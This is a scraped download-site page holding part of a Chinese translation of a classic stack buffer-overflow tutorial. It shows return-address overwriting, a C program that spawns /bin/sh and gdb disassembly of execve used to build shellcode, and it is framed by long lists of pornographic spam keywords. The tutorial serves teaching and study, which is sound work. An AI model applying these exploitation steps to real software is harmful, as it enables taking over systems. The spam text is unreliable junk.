亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 緩沖溢出原理.htm

?? Smashing The Stack For Fun And Profit 以娛樂和牟利為目的踐踏堆棧 (緩沖區溢出的原理和實踐)
?? HTM
?? 第 1 頁 / 共 4 頁
字號:
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

    我們把buffer1[]的地址加上12, 所得的新地址是返回地址儲存的地方. 我們想跳過
賦值語句而直接執行printf調用. 如何知道應該給返回地址加8個字節呢? 我們先前使用
過一個試驗值(比如1), 編譯該程序, 祭出工具gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------

    我們看到當調用function()時, RET會是0x8004a8, 我們希望跳過在0x80004ab的賦值
指令. 下一個想要執行的指令在0x8004b2. 簡單的計算告訴我們兩個指令的距離為8字節.


                                  Shell Code
                                  ~~~~~~~~~~
    現在我們可以修改返回地址即可以改變程序執行的流程, 我們想要執行什么程序呢?
在大多數情況下我們只是希望程序派生出一個shell. 從這個shell中, 可以執行任何我
們所希望的命令. 但是如果我們試圖破解的程序里并沒有這樣的代碼可怎么辦呢? 我們
怎么樣才能將任意指令放到程序的地址空間中去呢? 答案就是把想要執行的代碼放到我
們想使其溢出的緩沖區里, 并且覆蓋函數的返回地址, 使其指向這個緩沖區. 假定堆棧
的起始地址為0xFF, S代表我們想要執行的代碼, 堆棧看起來應該是這樣:

內存低     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     內存高
地址       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     地址
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
堆棧頂部                                                          堆棧底部
                                                                
    派生出一個shell的C語言代碼是這樣的:
  
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
 
    為了查明這程序變成匯編后是個什么樣子, 我們編譯它, 然后祭出調試工具gdb. 記住
在編譯的時候要使用-static標志, 否則系統調用execve的真實代碼就不會包括在匯編中,
取而代之的是對動態C語言庫的一個引用, 真正的代碼要到程序加載的時候才會聯入.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

    下面我們看看這里究竟發生了什么事情. 先從main開始研究:
    
------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

        這是例程的準備工作. 首先保存老的幀指針, 用當前的堆棧指針作為新的幀指針,
        然后為局部變量保留空間. 這里是:
        
        char *name[2];
        
        即2個指向字符串的指針. 指針的長度是一個字, 所以這里保留2個字(8個字節)的
        空間.
        
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

        我們把0x80027b8(字串"/bin/sh"的地址)這個值復制到name[]中的第一個指針, 這
        等價于:  
        
        name[0] = "/bin/sh";
        
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)                            
                                                        
       
        我們把值0x0(NULL)復制到name[]中的第二個指針, 這等價于:
        
        name[1] = NULL;
        
        對execve()的真正調用從下面開始:
        
0x8000144 <main+20>:    pushl  $0x0

        我們把execve()的參數以從后向前的順序壓入堆棧中, 這里從NULL開始.
        
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

        把name[]的地址放到EAX寄存器中.
        
0x8000149 <main+25>:    pushl  %eax

        接著就把name[]的地址壓入堆棧中.
        
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
        
        把字串"/bin/sh"的地址放到EAX寄存器中
        
0x800014d <main+29>:    pushl  %eax

        接著就把字串"/bin/sh"的地址壓入堆棧中
        
0x800014e <main+30>:    call   0x80002bc <__execve>

        調用庫例程execve(). 這個調用指令把IP(指令指針)壓入堆棧中.
------------------------------------------------------------------------------

    現在到了execve(). 要注意我們使用的是基于Intel的Linux系統. 系統調用的細節隨
操作系統和CPU的不同而不同. 有的把參數壓入堆棧中, 有的保存在寄存器里. 有的使用
軟中斷跳入內核模式, 有的使用遠調用(far call). Linux把傳給系統調用的參數保存在
寄存器里, 并且使用軟中斷跳入內核模式.           

------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

        例程的準備工作.
        
0x80002c0 <__execve+4>: movl   $0xb,%eax

        把0xb(十進制的11)放入寄存器EAX中(原文誤為堆棧). 0xb是系統調用表的索引
        11就是execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

        把"/bin/sh"的地址放到寄存器EBX中.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

        把name[]的地址放到寄存器ECX中.
        
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

        把空指針的地址放到寄存器EDX中.

0x80002ce <__execve+18>:        int    $0x80

        進入內核模式.
------------------------------------------------------------------------------  
                                 

    由此可見調用execve()也沒有什么太多的工作要做, 所有要做的事情總結如下:
    
        a) 把以NULL結尾的字串"/bin/sh"放到內存某處.
        b) 把字串"/bin/sh"的地址放到內存某處, 后面跟一個空的長字(null long word)
.
        c) 把0xb放到寄存器EAX中.
        d) 把字串"/bin/sh"的地址放到寄存器EBX中.
        e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
        (注: 原文d和e步驟把EBX和ECX弄反了)
        f) 把空長字的地址放到寄存器EDX中.
        g) 執行指令int $0x80. 
        
    但是如果execve()調用由于某種原因失敗了怎么辦? 程序會繼續從堆棧中讀取指令, 
這時的堆棧中可能含有隨機的數據! 程序執行這樣的指令十有八九會core dump. 如果execv
e
調用失敗我們還是希望程序能夠干凈地退出. 為此必須在調用execve之后加入一個exit
系統調用. exit系統調用在匯編語言看起來象什么呢?

exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------
 

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区三区三区| 欧美激情一区二区三区四区| 国产精品久久看| 99re这里只有精品首页| 亚洲欧美国产三级| 欧美日韩午夜影院| 奇米色777欧美一区二区| 久久久久久久久久久久久久久99 | 一本到不卡精品视频在线观看| 亚洲久本草在线中文字幕| 欧美日韩国产小视频在线观看| 精品午夜久久福利影院| 中文字幕在线一区免费| 国产精品第四页| 一区二区三区精品| 亚洲国产精品国自产拍av| 久久九九99视频| 日韩一区二区视频| 91在线免费视频观看| 欧洲人成人精品| 国产99精品国产| 秋霞av亚洲一区二区三| 麻豆成人久久精品二区三区小说| 亚洲黄色片在线观看| 午夜成人在线视频| 亚洲精品国产a久久久久久 | 欧洲一区二区av| 日韩一区二区免费在线电影| 国产色产综合色产在线视频| 中文字幕亚洲在| 欧美极品少妇xxxxⅹ高跟鞋| 亚洲美女在线一区| 免费在线观看一区| 91免费视频网址| 成人h版在线观看| 国产最新精品免费| 国内精品伊人久久久久av影院| 成人天堂资源www在线| 精品一二三四区| 91视频观看免费| 日韩女优制服丝袜电影| 日韩午夜三级在线| 亚洲色图在线视频| 日韩毛片视频在线看| 美女一区二区视频| 日韩精品中文字幕在线一区| 国产欧美日韩精品一区| 国产日韩成人精品| 五月天视频一区| 成人avav影音| 精品99久久久久久| 久久久久国产精品人| 亚洲综合免费观看高清在线观看| 亚洲精品中文字幕在线观看| 另类综合日韩欧美亚洲| 国产精品一区二区三区网站| 国产福利91精品| 97久久精品人人做人人爽50路| 欧美一级免费大片| 日韩欧美www| 午夜久久久影院| 欧日韩精品视频| 国产女人aaa级久久久级| 久久精品国产99久久6| 欧美性受xxxx黑人xyx性爽| 欧美日韩大陆一区二区| 亚洲精品一二三四区| 成人18精品视频| 国产精品嫩草影院com| 一区二区三区在线影院| 99re热视频精品| 综合色天天鬼久久鬼色| www.亚洲在线| 欧美一区二区三区在| 亚洲v精品v日韩v欧美v专区| 久久不见久久见免费视频1| 欧美肥大bbwbbw高潮| 国产视频一区二区在线| 国产成人精品一区二区三区网站观看| 欧美一区二区网站| 日本成人在线不卡视频| 成人av免费在线| 国产精品卡一卡二| 99久久国产综合色|国产精品| 中文字幕一区二区三区精华液| 国产精品亚洲а∨天堂免在线| 久久久99久久| eeuss鲁片一区二区三区| 亚洲天堂精品在线观看| 欧美亚洲动漫精品| 日韩国产在线一| 91丝袜美女网| 亚洲电影中文字幕在线观看| 成人精品一区二区三区四区 | 中文字幕免费一区| aaa欧美大片| 亚洲高清中文字幕| 日韩视频一区二区三区| 国产一区二区精品久久99| 国产精品美女久久久久aⅴ国产馆| jlzzjlzz国产精品久久| 一区二区三区产品免费精品久久75| 欧美日韩亚洲丝袜制服| 经典三级视频一区| 亚洲人一二三区| 日韩免费观看高清完整版在线观看| 国产二区国产一区在线观看| 亚洲欧美另类小说| 精品国产免费一区二区三区四区| av一本久道久久综合久久鬼色| 亚洲香肠在线观看| 久久久久久久一区| 欧美日韩国产一级| 成人免费福利片| 丝袜诱惑亚洲看片| 综合久久久久久久| 久久综合网色—综合色88| 日本aⅴ亚洲精品中文乱码| 久久久久久99久久久精品网站| 日本韩国欧美一区二区三区| 中文字幕在线不卡一区| 91精品国产欧美一区二区18| 成人精品在线视频观看| 免费观看在线综合| 亚洲欧美另类小说| 久久精品人人做| 欧美一区二区啪啪| 在线观看一区日韩| 成人午夜又粗又硬又大| 蜜臀va亚洲va欧美va天堂| 一二三四区精品视频| 久久久久成人黄色影片| 日韩一区二区在线看片| 欧美日韩一区二区三区不卡 | 亚洲激情在线激情| 国产香蕉久久精品综合网| 91麻豆精品国产91久久久久| 免费av网站大全久久| 亚洲专区一二三| 国产精品久久久久久妇女6080| 日韩免费电影网站| 3d成人h动漫网站入口| 91久久香蕉国产日韩欧美9色| 成人国产精品视频| 国产成人精品一区二区三区四区| 久久电影国产免费久久电影| 亚洲r级在线视频| 亚洲一区国产视频| 亚洲主播在线观看| 五月天一区二区| 午夜精品爽啪视频| 亚洲1区2区3区4区| 日韩福利视频导航| 日韩和欧美的一区| 美女在线观看视频一区二区| 麻豆精品国产传媒mv男同| 日本不卡的三区四区五区| 三级不卡在线观看| 麻豆精品蜜桃视频网站| 国产一区二区三区免费在线观看| 国产在线日韩欧美| 丰满少妇在线播放bd日韩电影| 国产99久久精品| 91色porny在线视频| 色欧美88888久久久久久影院| 91久久精品网| 91.麻豆视频| 久久久久久久性| 中文字幕一区二区三区精华液| 亚洲欧洲制服丝袜| 亚洲va在线va天堂| 加勒比av一区二区| av电影在线不卡| 欧美日韩国产一级片| 精品日产卡一卡二卡麻豆| 欧美视频第二页| 91精品国产综合久久婷婷香蕉 | 久久精品一区四区| 亚洲欧美影音先锋| 日韩av电影天堂| 国产剧情av麻豆香蕉精品| 91视频91自| 精品国产一区二区亚洲人成毛片| 国产精品久久久久久久久久久免费看| 亚洲精品自拍动漫在线| 久久精品噜噜噜成人88aⅴ| 成人伦理片在线| 欧美精品久久99久久在免费线| 久久欧美一区二区| 亚洲一二三区在线观看| 国产在线不卡视频| 欧美三级电影一区| 中文字幕精品在线不卡| 亚洲电影第三页| 成人毛片视频在线观看| 欧美一级在线视频| 亚洲激情校园春色| 国产成人av电影| 日韩欧美在线综合网| 亚洲另类在线制服丝袜|